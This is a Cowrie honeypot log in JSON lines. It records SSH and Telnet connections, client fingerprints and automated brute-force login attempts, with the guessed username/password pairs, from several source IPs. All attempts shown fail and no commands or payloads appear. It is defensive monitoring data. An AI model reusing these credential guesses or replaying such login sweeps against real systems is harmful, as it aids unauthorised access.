{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:35.585469Z","src_ip":"31.40.204.166","session":"edce72ae2994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:36.012883Z","src_ip":"31.40.204.166","session":"edce72ae2994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.375701904296875,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:36.123696Z","src_ip":"152.42.224.71","session":"16be5a90afc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59664,"dst_ip":"10.17.0.5","dst_port":23,"session":"4336a5159097","protocol":"telnet","message":"New connection: 152.42.224.71:59664 (10.17.0.5:23) [session: 4336a5159097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:37.175392Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:37.202185Z","src_ip":"31.40.204.166","session":"edce72ae2994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.08602619171143,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:37.680081Z","src_ip":"152.42.224.71","session":"56369ec564b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59676,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b365cb34a27","protocol":"telnet","message":"New connection: 152.42.224.71:59676 (10.17.0.5:23) [session: 6b365cb34a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:38.118529Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59690,"dst_ip":"10.17.0.5","dst_port":23,"session":"deca7ac71340","protocol":"telnet","message":"New connection: 152.42.224.71:59690 (10.17.0.5:23) [session: deca7ac71340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:39.119391Z"}
{"eventid":"cowrie.session.closed","duration":43.791253328323364,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:39.636766Z","src_ip":"152.42.224.71","session":"bdcc9c914654","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.51296877861023,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:41.002084Z","src_ip":"152.42.224.71","session":"c2b0063c27ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.445194244384766,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:43.583096Z","src_ip":"152.42.224.71","session":"812632367e23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59702,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ab9e2d2786","protocol":"telnet","message":"New connection: 152.42.224.71:59702 (10.17.0.5:23) [session: b0ab9e2d2786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:45.783742Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37716,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a9df3c80627","protocol":"ssh","message":"New connection: 31.40.204.166:37716 (159.203.135.109:22) [session: 0a9df3c80627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:47.024700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:47.033173Z","src_ip":"31.40.204.166","session":"0a9df3c80627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:47.200048Z","src_ip":"31.40.204.166","session":"0a9df3c80627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:47.908535Z","src_ip":"31.40.204.166","session":"0a9df3c80627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37552,"dst_ip":"10.17.0.5","dst_port":23,"session":"17c3f9b4afa4","protocol":"telnet","message":"New connection: 152.42.224.71:37552 (10.17.0.5:23) [session: 17c3f9b4afa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:48.530796Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37554,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff30d7e3889","protocol":"telnet","message":"New connection: 152.42.224.71:37554 (10.17.0.5:23) [session: 8ff30d7e3889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:48.741892Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:49.119120Z","src_ip":"31.40.204.166","session":"0a9df3c80627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.63110327720642,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:49.368022Z","src_ip":"152.42.224.71","session":"5c8e3b15bc4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37560,"dst_ip":"10.17.0.5","dst_port":23,"session":"212ebdbf4535","protocol":"telnet","message":"New connection: 152.42.224.71:37560 (10.17.0.5:23) [session: 212ebdbf4535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:49.740270Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":43157,"dst_ip":"159.203.135.109","dst_port":22,"session":"02cd9d69883a","protocol":"ssh","message":"New connection: 2.57.121.25:43157 (159.203.135.109:22) [session: 02cd9d69883a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:54.527109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:54.531607Z","src_ip":"2.57.121.25","session":"02cd9d69883a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:54.630515Z","src_ip":"2.57.121.25","session":"02cd9d69883a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240386","message":"login attempt [user/240386] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:55.102324Z","src_ip":"2.57.121.25","session":"02cd9d69883a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24021992","message":"login attempt [user/24021992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:56.205254Z","src_ip":"2.57.121.25","session":"02cd9d69883a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240187","message":"login attempt [user/240187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:57.308783Z","src_ip":"2.57.121.25","session":"02cd9d69883a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23121977","message":"login attempt [user/23121977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:58.412276Z","src_ip":"2.57.121.25","session":"02cd9d69883a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48524,"dst_ip":"159.203.135.109","dst_port":22,"session":"536a07755bf6","protocol":"ssh","message":"New connection: 31.40.204.166:48524 (159.203.135.109:22) [session: 536a07755bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:59.224499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:59.229434Z","src_ip":"31.40.204.166","session":"536a07755bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:59.398804Z","src_ip":"31.40.204.166","session":"536a07755bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23111980","message":"login attempt [user/23111980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:59.515334Z","src_ip":"2.57.121.25","session":"02cd9d69883a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:00.194384Z","src_ip":"31.40.204.166","session":"536a07755bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:00.617422Z","src_ip":"2.57.121.25","session":"02cd9d69883a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:01.392771Z","src_ip":"31.40.204.166","session":"536a07755bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55492,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac73774857d6","protocol":"telnet","message":"New connection: 152.42.224.71:55492 (10.17.0.5:23) [session: ac73774857d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:01.476868Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55506,"dst_ip":"10.17.0.5","dst_port":23,"session":"267cdddae0ac","protocol":"telnet","message":"New connection: 152.42.224.71:55506 (10.17.0.5:23) [session: 267cdddae0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:01.509460Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":38160,"dst_ip":"10.17.0.5","dst_port":22,"session":"499706b556d0","protocol":"ssh","message":"New connection: 190.85.41.170:38160 (10.17.0.5:22) [session: 499706b556d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:03.517419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:03.522275Z","src_ip":"190.85.41.170","session":"499706b556d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:03.594592Z","src_ip":"190.85.41.170","session":"499706b556d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariano","message":"login attempt [root/mariano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:03.913786Z","src_ip":"190.85.41.170","session":"499706b556d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55516,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bf9bcd1e91b","protocol":"telnet","message":"New connection: 152.42.224.71:55516 (10.17.0.5:23) [session: 0bf9bcd1e91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:04.621913Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55518,"dst_ip":"10.17.0.5","dst_port":23,"session":"26abbfd740a8","protocol":"telnet","message":"New connection: 152.42.224.71:55518 (10.17.0.5:23) [session: 26abbfd740a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:04.773798Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:04.988787Z","src_ip":"190.85.41.170","session":"499706b556d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34421,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4b422e31353","protocol":"ssh","message":"New connection: 2.57.121.112:34421 (159.203.135.109:22) [session: e4b422e31353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:06.642240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:06.647722Z","src_ip":"2.57.121.112","session":"e4b422e31353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:06.747713Z","src_ip":"2.57.121.112","session":"e4b422e31353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"anthea","message":"login attempt [admin/anthea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:07.218854Z","src_ip":"2.57.121.112","session":"e4b422e31353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36242,"dst_ip":"10.17.0.5","dst_port":23,"session":"8be6774e3b30","protocol":"telnet","message":"New connection: 152.42.224.71:36242 (10.17.0.5:23) [session: 8be6774e3b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:08.281356Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"annelies","message":"login attempt [admin/annelies] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:08.322051Z","src_ip":"2.57.121.112","session":"e4b422e31353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aniston","message":"login attempt [admin/aniston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:09.425303Z","src_ip":"2.57.121.112","session":"e4b422e31353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"angelo4ek","message":"login attempt [admin/angelo4ek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:10.528609Z","src_ip":"2.57.121.112","session":"e4b422e31353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50690,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4f092ad722a","protocol":"ssh","message":"New connection: 31.40.204.166:50690 (159.203.135.109:22) [session: c4f092ad722a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:11.213930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:11.219157Z","src_ip":"31.40.204.166","session":"c4f092ad722a","protocol":"ssh"}
